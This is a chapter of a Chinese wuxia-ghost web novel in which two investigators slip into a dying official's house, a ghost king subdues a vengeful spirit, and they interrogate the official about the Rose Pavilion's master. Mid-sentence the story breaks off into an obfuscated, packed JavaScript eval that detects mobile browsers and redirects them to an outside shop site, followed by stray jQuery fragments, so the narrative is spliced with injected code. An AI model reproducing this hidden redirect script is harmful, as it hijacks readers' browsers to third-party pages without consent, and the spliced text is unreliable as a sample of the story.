自从镇抚司守住了刘慷的府邸,蔷薇楼的人也不敢轻举妄动,今夜卓凡的人马进京,镇抚司的人倾巢而出,于刘慷这头倒是个难得的破绽,自从送到刘慷府上的小娘们儿下了黑手,主子那边的消息竟也断了,今日难得的机会,就算没有主子的命令,罥娘也不能眼见它就这么溜走。
如今那群正道狗冲着蔷薇楼来,要为刘慷这个老贼求医怕是不成了,谁在此时和蔷薇楼扯上瓜葛,谁就是要做正道武林的众矢之的,就连那几条平日里上赶着与蔷薇楼攀交情的老狗,如今一转头竟然也加入声讨蔷薇楼的阵营。
既然眼看着救不活了,那不如就让蔷薇楼送刘慷最后一程,镇抚司盯得紧,难保再从他嘴里挖出些不该说的来。
“你们两个人,今夜去刘老爷府上送他一程,做得干净点。”刘慷如今也就差最后一口气的事,只消再轻轻推他一把,就能送他下地狱,到时候查出来,也是他病入膏肓,药石罔效。
两人领命离去,今夜的蔷薇楼注定不得安生,罥娘的妆容也分外上心,两个丫鬟一个为她上妆,一个为她盘发,铜镜里,好一副美人梳妆图。
而城门口,五大派的人也总算进了京。
白皎等人,就守在城门口的一间茶楼里,这次进京的人里,主力自然是五大派的内门弟子,白皎也认得其中一些,另外队伍一路北上,各门派但凡有女弟子下落不明的,也派出人手加入其中,等到齐聚京城时,已是颇具规模了。
领队的是天门山的人,他们手上捧着的,是长明州女尸的骨灰,新仇旧恨相加,白皎等人此时如果加入队伍,天门山的人保不齐会对霍玲下手,于是白皎一行决定先不露面,悄悄地跟在后面,看看情势再说。
另一面,林昭昭与陆鸣筝也趁夜来到了刘慷府上,刘慷一介三品大员,就算没有蔷薇楼的人盯着,府上也有几个家丁、守卫在那里,为免惊动府上的人,两人循着当时林昭昭逃生的路线,从侧院一路翻进主屋,来到刘慷的床前。
刘慷用了悬阴诀,发作之时畏光畏人,因此他的屋子里,除了一个看护的丫鬟,再没有旁人,陆鸣筝进屋,来到那丫鬟身后,在她脖颈处轻轻一点,那丫鬟即刻人事不知,林昭昭伸手探了探那丫鬟的鼻息,陆鸣筝未下死手,不过是点了那丫鬟的穴道。
“怎么,我陆某看着像个嗜杀之人,连这小丫头都不肯放过不成?”
林昭昭也知道是自己小人之心,打了个哈哈便往刘慷床边走,自从丁二七说今日乃是鬼门大开之日,林昭昭便只觉得四处阴渗渗的,若不是正事要紧,今夜林昭昭是无论如何都不愿意出门的。
大概是感受到了林昭昭的不安,丁二七也默不作声地显了形,今日七月半,尚未转世投胎的游魂小鬼,不少会借今日生事,这刘慷的死活他当然不在意,但林昭昭自开天眼后,还未亲眼见过真正的恶鬼。
果然见了丁二七,林昭昭虽面上不露声色,可身体却不由得就向他靠近,在林昭昭即将触到刘慷之时,只见身后红光一闪,一扇木门带着血光,从虚空中浮现。
“生死门。”
丁二七站在林昭昭的身前,这恶鬼在刘慷府上开了生死门,自然是命丧他手下的亡魂。
生死门洞开,阴风裹挟之下,一个青面獠牙的恶鬼直冲刘慷而来,林昭昭惊恐之下想抓着丁二七的衣袖,却抓了个空,没有婚书牵引,他们二人之间虽近在咫尺,却是阴阳两隔。
“别怕。”
丁二七抽出魂剑,却没有动手,他只是不断凝聚自己的魂海,给那恶鬼施以强压,丁二七是靠恶鬼的戾气滋养,养出的鬼王,寻常恶鬼若是见了丁二七,必受其魂力震慑,不敢轻举妄动,如今这头恶鬼被仇恨蒙蔽了心智,拼着被丁二七一剑斩了,也要置刘慷于死地。
若是从前,丁二七一定不会错过这送上门来的猎物,鬼界弱肉强食,早先他魂力不稳,就是以这些恶鬼为食,如今修出了魂剑,也需要这些恶鬼的给养。
但或许是那日,他亲眼见到刘慷对林昭昭下手,如果此事并非是林昭昭和白皎提前设的局,林昭昭的下场可想而知,这恶鬼要向刘慷寻仇,也是刘慷死有余辜,丁二七倒不愿意为此将这恶鬼一剑斩了。
既如此,他只能不断强化魂压,让这恶鬼自愿臣服在他的剑下。
房间里的阴气,随着丁二七魂压的凝聚越来越重,即便像陆鸣筝这样,看不见眼前所发生的一切,也能感受到空气里弥漫着一股难以言说的血腥气,明明是七月的天气,却觉得周身发冷。
陆鸣筝看向林昭昭,只见她背对着刘慷,目视前方一动不动,两手攥紧:“林姑娘,你这是怎么了?”
林昭昭看了陆鸣筝一眼,一只手指放在唇前,示意其噤声,陆鸣筝虽不明所以,可也只得配合。
那一边,恶鬼在丁二七的强压之下,已逐渐屈膝下跪,丁二七将自己的魂剑停在恶鬼的双眼之前:“这刘慷命不久矣,等他化魂之后,你有的是机会报你的前尘旧怨,但今夜,我不许你要了他的性命。”
那恶鬼闻言咆哮一声,却被丁二七的魂压更重地钉在原地:“我说了,今夜,这人的命是我的。”
那恶鬼挣无可挣,竟在小声地呜咽起来,连绵的鬼哭充斥在房内,陆鸣筝只觉得自己的四肢越来越冷,越来越沉,他握紧了手中的剑,却不知道要剑指何处。
终于,那恶鬼屈服于丁二七的剑下,生死门再次开合,随着那恶鬼消失,陆鸣筝只觉得有一双勒着自己脖颈的手被渐渐松开,那边的林昭昭也长长地出了一口气。
“林姑娘,方才究竟发生了什么?”
“三言两语我也与你解释不清楚,说了你也未必信。今日七月半,鬼门大开,刘慷手上的人命不少,这间宅子里不知有多少人丧命,此刻又有多少恶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460514|141700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鬼徘徊,我们还是抓紧时间问话。”
陆鸣筝一愣:“林姑娘竟也相信这些怪力乱神之说?”
“我们凡人之身,不过在人世间逗留区区数十载,这世间事,多少是我们未知未见的,还是存些敬畏之心吧。”见陆鸣筝不信,林昭昭也不欲多说,如今这间宅子尚有丁二七罩着,想来也无事,还是审问刘慷要紧。
刘慷躺在床上,已是出气多,进气少的光景,林昭昭一股内力打入刘慷体内,有林昭昭的真气吊住一条命,刘慷这才渐渐醒转过来。
“是你!”
林昭昭俯视着在床上奄奄一息的刘慷:“不错,正是我。”
“好你个蔷薇楼的贱货,竟把我害到如此田地。”
陆鸣筝闻言,一柄小刀自袖间滑出,贴在刘慷脸上:“刘大人,你好歹也是我朝的三品大员,说出来的话,连我都替你汗颜,不如我挖了你的舌头,免得叫林姑娘以为,我骧国朝廷之上,净是尔等鼠辈。”
“陆大人,你怎么”冰凉的刀刃在刘慷脸上轻拍,刘慷不敢再多话,这个活阎王,说的出就做得到,多少朝廷大员入了镇抚司的地牢,好好的人进去,出来的不是残了,就是疯了,就算没有罪,也少不得在他手里脱层皮,何况自己。
“我问你,你勾结蔷薇楼,暗中与武林人士交往,是不是藏了叛上作乱的心思?”
“陆大人冤枉啊!我刘家一门三大员,祖祖辈辈都为皇上效忠,若是有半分不忠的念头,我定不得好死。”
陆鸣筝凑近刘慷眼前,哈哈大笑起来:“你如今看着,正是不得好死的下场,这话说的,不像是起誓,倒像是自首了。”
刘慷这才反应过来,他如今这样,正是林昭昭的手笔,解铃还需系铃人,那些江湖游医救不了他的命,可林昭昭或许可以。
“姑娘,姑娘大慈大悲,救我一命,从前的事都是我的错,只要姑娘肯救我,哪怕是要我倾尽家财我也情愿,姑娘还请高抬贵手啊!”
林昭昭环抱双手,站在刘慷床前,这刘慷,她真是多看一眼都嫌脏:“我且问你,蔷薇楼的主人是谁?”
“这。”
陆鸣筝手上的刀子一紧:“你这都死到临头了,还要保这背后的人,我知道,你私下里早已投靠了三皇子的阵营,莫非这蔷薇楼的主人,就是三皇子殿下?”
“陆大人,这话可不能乱说,你身居镇抚司指挥使,难道不知道攀污皇子是何罪名?”哪怕如今刘慷已是陆鸣筝与林昭昭的板上鱼肉,他也万万不能将此事牵扯到三皇子头上,他今日就算是死在他们二人手里,最多也就是死他一个,可要牵连了三皇子,他府上上上下下数百口人,谁也别想逃出一条命去。
“镇抚司直属皇上,只为帝王一人尽忠,别说是皇子,就是老三哪一日真的遂了你的心意,成了太子,有叛上作乱之举,我镇抚司也是照杀不误。”